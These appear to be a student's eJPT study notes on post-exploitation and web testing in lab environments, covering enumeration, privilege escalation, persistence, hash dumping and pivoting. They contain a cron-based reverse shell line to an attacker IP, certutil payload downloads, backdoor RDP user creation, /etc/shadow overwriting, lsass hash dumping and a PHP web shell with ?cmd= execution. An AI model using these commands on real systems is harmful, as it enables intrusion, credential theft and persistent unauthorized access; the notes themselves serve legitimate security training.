

eJPT – Post Exploitation Notes

Handwritten notes covering the full post-exploitation methodology including local enumeration, file transfer, privilege escalation, persistence, hash dumping, pivoting, and web application penetration testing.

Post Exploitation – Methodology

Key areas of focus:

- System Info, Users & Groups, Network Info
- Services, Local Enumeration Automation
- Setting up a web server with Python

1. Local Enumeration

- 2. Transferring Files** → Transfer files to Windows & Linux Target
- 3. Upgrading Shells** → Upgrade shell to Meterpreter / Spawning TTY shells
- 4. Privilege Escalation** → Identify PrivEsc vectors on Windows & Linux
- 5. Persistence** → Setup persistence on Windows & Linux
- 6. Dumping & Cracking Hashes** → On Windows & Linux
- 7. Pivoting** → Internal Network Reconnaissance
- 8. Clearing Tracks** → Clearing tracks on Windows & Linux

1. Windows Local Enumeration

System Information

```
getuid # Get User ID
```

```
sysinfo # Host name & all system details
```

If we get a shell:

```
hostname
```

```
systeminfo
```

```
wmic qfe get caption, Description, HotFixID, InstalledOn
```

```
cd C:\Windows\System32
```

```
cat eula.txt # Contains some system information
```

Enumerating Users & Groups

```
getuid # Current user name
```

```
getprivs # List all privileges that we have
```

```
search logged_on # Post-exploitation module
post/windows/gather/enum/logged_on_users — Provides logged-on users list
shell # Open a command shell
whoami
whoami /priv # Show privileges of this user
query user # All logged-on users
net users # List all users on the system
net user 'User-Name' # Details about a specific user
net localgroup # List all groups
net localgroup 'group-name' # List users in this group
```

Network Information

```
ipconfig /all # All details about IP addresses
route table # Provide route table
arp -a # Provide ARP details
netstat -ano # All network interface addresses & running local services
netsh advfirewall firewall help # Firewall help (use commands based on output)
```

Processes & Services

A **process** is an instance of a running executable (.exe) or program.

A **service** is a process which runs in the background and does not interact with the desktop.

```
ps # All process list
pgrep 'process-Name'
migrate 'process-ID'
net start # Provide all the started services list
wmic service list brief # All services with process ID, state & status
tasklist /svc # Provide star services & process ID
schtasks /query /fo LIST /v # Provide all scheduled tasks
```

Automating Windows Local Enumeration

```
enum-shares
enum-patches
enum-computers
enum-applications
checkvm
winrm-script-exec
```

JAWS = Just Another Windows (Enum) Script. It is a PowerShell script designed to quickly identify potential privilege escalation vectors on Windows systems.

GitHub Repo: github.com/411Hall/JAWS

Copy the *jaws-enum.ps1* file from GitHub, create a file in the Windows target & paste it with a **.ps1** extension.

Running JAWS

```
upload jaws-enum.ps1 # Always upload to temp directory  
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -outputFileName  
JAWS-Enum.txt
```

This command will execute the file, bypassing execution policy & output details into a file.

2. Linux Local Enumeration

System Information

```
sysinfo # Provide the OS & kernel version  
shell  
/bin/bash -i # Use when we get a Meterpreter session  
cat /etc/issue # Provide the distribution that is running  
cat /etc/*release # More details about the distribution  
uname -r # Kernel version  
env # Environment variable for root user  
lscpu # Provide CPU information  
df -h # File systems connected to the target (-h = human-readable)  
dpkg -l # List all Debian package managers
```

Linux Users & Groups

```
groups root # Show which group root belongs to  
cat /etc/passwd # List users on system  
groups # List groups  
usermod -aG root bob # Adding bob to root group  
last # Provide last legit login users  
lastlog # Users with when they logged in
```

Linux Network Information

```
ifconfig # Provide interfaces: IPv4, v6, MAC  
netstat # List all TCP/UDP connections with target  
route # Provide routing table  
cat /etc/networks # List all networks  
cat /etc/hosts # Give the hosts with their names  
arp # ARP list
```

Linux Processes & Cron Jobs ■ Important

```
ps  
ps aux  
top  
crontab -l # List all cron jobs of this user
```

```
ls -al /etc/cron* # List all the cron jobs
```

Automation of Linux Local Enumeration

GitHub: github.com/rebootuser/LinEnum

```
enum-configs
```

```
enum-network
```

```
enum-system
```

```
checkvm
```

Copy the RAW *LinEnum.sh* script, paste into notepad or clipboard (Ctrl+Shift+Alt) & save with **.sh** file extension.

```
upload 'file-path'
```

```
shell
```

```
chmod +x enum.sh
```

```
./enum.sh # Provides all details & weak security findings
```

2. Transferring Files

```
python3 -m http.server 80 # Hosts the current directory files online
```

Transfer Files to Windows Target

```
python3 -m http.server # Whole directory becomes a HTTP server
```

```
certutil -urlcache -f https://our-IP/file-Name output-path-of-file
```

This command will download the file into our system.

Transfer Files to Linux Target

```
python3 -m http.server
```

```
wget http://target-ip/file-Name # This should be the path of the file
```

4. Privilege Escalation

Windows Privilege Escalation

GitHub: github.com/itm4n/PrivescCheck

```
search web-delivery
```

```
use exploit/multi/script/web-delivery
```

```
set LHOST, LPORT
```

```
run
```

This will generate a PowerShell code.

Copy it & use it in the target system. We will get access & upgrade it to the Meterpreter shell.

```
set TUNNEL TRANSFER VBS & NOTE PORT
```

```
shell
```

```
cd C:\Users\student\Desktop\PrivescCheck
```

Paste the script from GitHub according to our terminal. e.g: shell => powershell.

PrivescCheck Execution

By executing it, this will provide all the ways where we can do privilege escalation.

It checks all possible ways.

If it provides any credentials, then we will login with them.

```
psexec.py username@target-IP
```

OR: We can also use the **exploit/windows/smb/psexec** module.

Linux Privilege Escalation – Weak Permissions

```
find / -not -type l -perm -o+w
```

This will provide all the files that can be modified by all the users.

If we find **/etc/shadow** can be edited by any user, we can edit the file by replacing it with a password we generate:

```
openssl passwd 1 -salt abc password
```

It will give a hashed password. Paste that into **/etc/shadow** for root user, then login as root.

```
su # Then provide the password
```

SUDO Privileges

```
sudo -l # Which commands user can run without 'root' access
```

If it provides **'usr/bin/man'**, then this will run without root credentials.

We use the **'man'** command to learn more about the particular command.

Simply type **/bin/bash** at the end of the file — it will open bash with root access.

5. Persistence

Windows Persistence – Persistence Service

```
use exploit/windows/local/persistence_service
```

For this we need root privileges.

This module will create an executable in the **'Temp'** directory & any service. It will execute it every 5 seconds.

We can access it again by the multi handler module, but we need to set payload, LHOST & LPORT.

Persistence via RDP

After getting the target with Administrator access:

```
run getgui -e -u shaurya -p password-123
```

It will enable RDP & create user.

```
exit
```

```
xfreerdp /u:shaurya /p:password-123 /v:target-IP
```

It will open a desktop with these credentials.

Linux Persistence – via SSH Keys

Some systems are SSH enabled. By this, users login with SSH keys instead of passwords.

Save the SSH key into your system.

In lab:

```
scp student@target-IP:~/.ssh/id_rsa .
```

Even though the user resets the password, we can gain access by SSH key.

```
ssh -i id_rsa student@target-ip
```

We got the student terminal directly.

Linux Persistence – via Cron Jobs

```
cat /etc/cron # List all cron jobs that are running
```

```
echo "* * * * * /bin/bash -c 'bash -i>& /dev/tcp/our-IP/port 0>&1'" > cron
```

Min Hour Day Week Month

```
crontab -i cron # Add into the cron jobs
```

```
crontab -l # List
```

```
exit
```

NEW TERMINAL:

```
nc -nvlp port-Number
```

6. Dumping & Cracking Hashes

Windows – Dumping & Cracking NTLM Hashes

After the exploitation of the target:

```
pgrep lsass
```

```
migrate 'lsass-process-ID'
```

```
hashdump # Copy NTLM hashes & create a file & paste it
```

```
john --format=NT hashes.txt
```

File we create by pasting the hashes. It will crack & display the passwords.

OR:

```
hashcat -a3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
```

-m: The hash type | -a: Mode

Linux – Hash Types & Cracking

```
$1 → MD5
```

```
$2 → Blowfish
```

```
$5 → SHA-256
```

```
$6 → SHA-512
```

After the exploitation of root user:

```
cat /etc/shadow # Display the hashes
```

```
john --format=sha512crypt hash.txt --wordlist=PATH
```

This will crack & provide you the password.

OR:

```
hashcat -a3 -m 1800 hash.txt /path/to/wordlist
```

7. Pivoting

Pivoting is the process of using the exploited machine as an attacker machine to access the internal controls.

First, we need to exploit the external machine.

```
run autoroute -s attacker-target-IP/subnet
```

```
e.g: run autoroute -s 10.0.29.0/24
```

Now scan using the 'portscan/tcp' module to find open ports on the internal system.

```
portfwd add -l 1234 -p 80 -r 10.0.29.96
```

-l: local port we scan | -p: remote port | -r: Internal system

By this we can do an nmap scan on 1234, then it will be done as port 80 on the Internal system.

```
nmap -sV -p1234 localhost
```

Based on the service we find the exploit.

Web Application Penetration Testing

HTTP Request Headers

1. **User-Agent:** Information about the client making the request (e.g. browser type).
2. **Host:** The hostname of the server.
3. **Accepts:** The media types the client can handle (e.g. HTML, JSON).
4. **Authorization:** Credentials for authentication.
5. **Cookie:** Info stored on the client-side and sent back to the server with each request.

GET Request Example:

```
GET / HTTP/1.1 # Home folder
```

Passive Crawling & Spidering with OWASP ZAP

```
dirb 'url' # Show the hidden directories
```

Crawling: Process of navigating around the web application, following links, submitting forms & login of the web application, with the objective of mapping it out.

Spidering: Is the process of automatically discovering new resources (URLs) on a web application/site.

We will use the crawler in 'Burp Suite' — it will sort all our findings that we can access in a meaningful way.

Web Server Scanning with Nikto

```
nikto -h demo.ine.local
```

Provides so much detail about the site.

```
nikto -h demo.ine.local -file-inclusion.php -Tuning 5 -o nikto.html
```

Displays detailed information into about URL.

File & Directory Brute Forcing with Gobuster

```
gobuster dir -u http://demo.ine.local -w /common.txt -b 403,404,301
```

Provides all directories & blocks the 403, 404, 301 status codes.

```
gobuster dir -u http://demo.ine.local -w /common.txt -b 403,404,301 -x .php,.xml,.txt -y
```

Looks for files with php, xml, txt extensions & also follows redirects. Saves to a file result.

CMS (Content Management Systems)

```
nikto -h demo.ine.local
```

```
wpscan --url http://demo.ine.local -eu
```

-eu = enumerate users | -U username -P password list

After brute forcing & getting access to admin — by testing it will find the password according to the wordlist.

CSRF via Responsive Thumbnail: Files > Manage Images > Add Images.

CSRF on Add New Image & Add malicious payload.

Intercept the image request. Then change it into **payload.php, png** → **payload.php**.

Then forward the request and open the image.

CMS – Command Execution

Go last and test if **?cmd=id**. You will get:

```
?cmd=whoami
```

```
?cmd=pwd
```

```
?cmd=dir C:\*flag /s
```